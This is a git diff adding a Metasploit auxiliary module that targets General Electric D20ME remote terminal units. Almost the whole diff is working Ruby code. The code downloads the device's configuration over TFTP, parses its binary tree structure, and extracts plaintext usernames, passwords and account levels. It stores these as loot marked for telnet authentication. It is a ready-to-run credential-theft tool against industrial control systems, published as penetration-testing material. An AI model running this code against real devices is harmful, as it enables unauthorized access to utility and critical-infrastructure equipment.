diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb new file mode 100644 index 0000000000..41500c6fd2 --- /dev/null +++ b/modules/auxiliary/gather/d20pass.rb @@ -0,0 +1,275 @@ + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# This module grabs the device configuration from a GE D20M* RTU and +# parses the usernames and passwords from it. +## + +require 'msf/core' +require 'rex/ui/text/shell' +require 'rex/proto/tftp' + +class Metasploit3 < Msf::Auxiliary + include Rex::Ui::Text + include Rex::Proto::TFTP + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'General Electric D20 Password Recovery', + 'Description' => %q{ + The General Electric D20ME and possibly other units (D200?) feature + TFTP readable configurations with plaintext passwords. This module + retrieves the username, password, and authentication level list. + }, + 'Author' => [ 'K. Reid Wightman ' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 1 $', + 'DisclosureDate' => 'Jan 19 2012', + )) + + register_options( + [ + Opt::RPORT(69), + Opt::RHOST('192.168.255.1'), + OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"]) + ], self.class) + end + + def setup + @rhost = datastore['RHOST'] + @rport = datastore['RPORT'] || 69 + @lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025)) + @lhost = datastore['LHOST'] || "0.0.0.0" + @rfile = datastore['REMOTE_CONFIG_NAME'] + end + + def cleanup + if @tftp_client and @tftp_client.respond_to? :complete + while not @tftp_client.complete + select(nil,nil,nil,1) + vprint_status "Cleaning up the TFTP client ports and threads." + @tftp_client.stop + end + end + end + + def rtarget(ip=nil) + if (ip or rhost) and rport + [(ip || rhost),rport].map {|x| x.to_s}.join(":") << " " + elsif (ip or rhost) + "#{rhost}" + else + "" + end + end + + # Retrieve the file + def retrieve + print_status("Retrieving file") + @tftp_client = Rex::Proto::TFTP::Client.new( + "LocalHost" => @lhost, + "LocalPort" => @lport, + "PeerHost" => @rhost, + "PeerPort" => @rport, + "RemoteFile" => @rfile, + "Action" => :download + ) + @tftp_client.send_read_request { |msg| print_tftp_status(msg) } + @tftp_client.threads do |thread| + thread.join + end + # Wait for GET to finish + while not @tftp_client.complete + select(nil, nil, nil, 0.1) + end + fh = @tftp_client.recv_tempfile + return fh + end + + # Builds a big-endian word + def makeword(bytestr) + return bytestr.unpack("n")[0] + end + # builds abi + def makelong(bytestr) + return bytestr.unpack("N")[0] + end + + # Returns a pointer. We re-base the pointer + # so that it may be used as a file pointer. + # In the D20 memory, the file is located in flat + # memory at 0x00800000. + def makefptr(bytestr) + ptr = makelong(bytestr) + ptr = ptr - 0x00800000 + return ptr + end + + # Build a string out of the file. Assumes that the string is + # null-terminated. This will be the case in the D20 Username + # and Password fields. + def makestr(f, strptr) + f.seek(strptr) + str = "" + b = f.read(1) + if b != 0 + str = str + b + end + while b != "\000" + b = f.read(1) + if b != "\000" + str = str + b + end + end + return str + end + + # configuration section names in the file are always + # 8 bytes. Sometimes they are null-terminated strings, + # but not always, so I use this silly helper function. + def getname(f, entryptr) + f.seek(entryptr + 12) # three ptrs then name + str = f.read(8) + return str + end + + def leftchild(f, entryptr) + f.seek(entryptr + 4) + ptr = f.read(4) + return makefptr(ptr) + end + + def rightchild(f, entryptr) + f.seek(entryptr + 8) + ptr = f.read(4) + return makefptr(ptr) + end + + # find the entry in the configuration file. + # the file is a binary tree, with pointers to parent, left, right + # stored as 32-bit big-endian values. + # sorry for depth-first recursion + def findentry(f, name, start) + f.seek(start) + myname = getname(f, start) + if name == myname + return start + end + left = leftchild(f, start) + right = rightchild(f, start) + if name < myname + if left < f.stat.size and left != 0 + res = findentry(f, name, leftchild(f, start)) + else + res = nil # this should perolate up + end + end + if name > myname + if right < f.stat.size and right != 0 + res = findentry(f, name, rightchild(f, start)) + else + res = nil + end + end + return res + end + + # Parse the usernames, passwords, and security levels from the config + # It's a little ugly (lots of hard-coded offsets). + # The userdata starts at an offset dictated by the B014USERS config + # offset 0x14 (20) bytes. The rest is all about skipping past the + # section header. + def parseusers(f, userentryptr) + f.seek(userentryptr + 0x14) + dstart = makefptr(f.read(4)) + f.seek(userentryptr + 0x1C) + numentries = makelong(f.read(4)) + f.seek(userentryptr + 0x60) + headerlen = makeword(f.read(2)) + f.seek(userentryptr + 40) # sorry decimal + entrylen = makeword(f.read(2)) # sorry this is decimal + logins = Rex::Ui::Text::Table.new( + 'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)", + 'Indent' => 1, + 'Columns' => ["Type", "User Name", "Password"]) + range = Range.new(0, numentries - 1) + range.each do |i| + f.seek(dstart + headerlen + i * entrylen) + accounttype = makeword(f.read(2)) + f.seek(dstart + headerlen + i * entrylen + 2) + accountname = makestr(f, dstart + headerlen + i * entrylen + 2) + f.seek(dstart + headerlen + i * entrylen + 2 + 22) + accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22) + if accountname.size + accountpass.size > 44 + print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}") + break + end + logins << [accounttype, accountname, accountpass] + report_auth_info( + :host => datastore['RHOST'], + :port => 23, + :sname => "telnet", + :user => accountname, + :pass => accountpass, + :active => true + ) + end + if not logins.rows.empty? + loot = store_loot( + "d20.user.creds", + "text/csv", + datastore['RHOST'], + logins.to_s, + "d20_user_creds.txt", + "General Electric TELNET User Credentials", + datastore['RPORT'] + ) + print_line logins.to_s + print_status("Loot stored in: #{loot}") + else + print_error("No data collected") + end + end + + def parse(fh) + print_status("Parsing file") + f = File.open(fh, 'rb') + used = f.read(4) + if used != "USED" + print_error "Invalid Configuration File!" + return + end + f.seek(0x38) + start = makefptr(f.read(4)) + userptr = findentry(f, "B014USER", start) + if userptr != nil + parseusers(f, userptr) + else + print_error "Error finding the user table in the configuration." + end + end + + def run + fh = retrieve + parse(fh) + end + + def print_tftp_status(msg) + case msg + when /Aborting/, /errors.$/ + print_error [rtarget,msg].join + when /^WRQ accepted/, /^Sending/, /complete!$/ + print_good [rtarget,msg].join + else + vprint_status [rtarget,msg].join + end + end +end